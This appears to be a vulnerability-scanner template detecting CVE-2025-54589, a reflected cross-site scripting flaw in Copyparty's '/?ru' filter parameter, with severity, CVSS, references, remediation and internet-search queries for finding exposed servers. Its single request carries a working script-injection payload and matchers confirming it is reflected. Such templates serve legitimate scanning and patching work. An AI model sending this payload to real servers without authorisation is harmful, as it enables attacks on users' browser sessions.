id: CVE-2025-54589

info:
  name: Copyparty <=1.18.6 - Cross-Site Scripting
  author: s-cu-bot
  severity: medium
  description: |
    Copyparty before 1.18.7 is vulnerable to reflected cross-site scripting (XSS) via the 'filter' parameter in the '/?ru' endpoint. Unsanitized user input is reflected in the HTML response, allowing attackers to execute arbitrary JavaScript in the context of the victim's browser.
  impact: |
    Attackers can execute arbitrary JavaScript in victim browsers through malicious URLs containing XSS payloads in the filter parameter, potentially leading to session hijacking.
  remediation: |
    Upgrade Copyparty to version 1.18.7 or later to mitigate this vulnerability.
  reference:
    - https://github.com/9001/copyparty
    - https://secalerts.co/vulnerability/CVE-2025-54589
    - https://github.com/9001/copyparty/security/advisories/GHSA-8mx2-rjh8-q3jq
    - https://nvd.nist.gov/vuln/detail/CVE-2025-54589
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
    cvss-score: 6.3
    cve-id: CVE-2025-54589
    epss-score: 0.0078
    epss-percentile: 0.73911
    cwe-id: CWE-79
    cpe: cpe:2.3:a:copyparty_project:copyparty:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: copyparty_project
    product: copyparty
    shodan-query: http.title:"copyparty"
    fofa-query: title="copyparty"
    google-query: intitle:"copyparty"
  tags: cve,cve2025,xss,copyparty,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?ru&filter=%3C%2Fscript%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'filter": "</script><script>alert(document.domain)</script>'
          - 'control-panel'
        condition: and

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a004730450220168c2eed739961b72e93a54af4d5c280760a2e97a3d4a4c1b2672651824587b20221009c94b5d6bd659efaa4e462ff783349648bdb57169f1b00cfb322de73e686819e:922c64590222798bb761d5b6d8e72950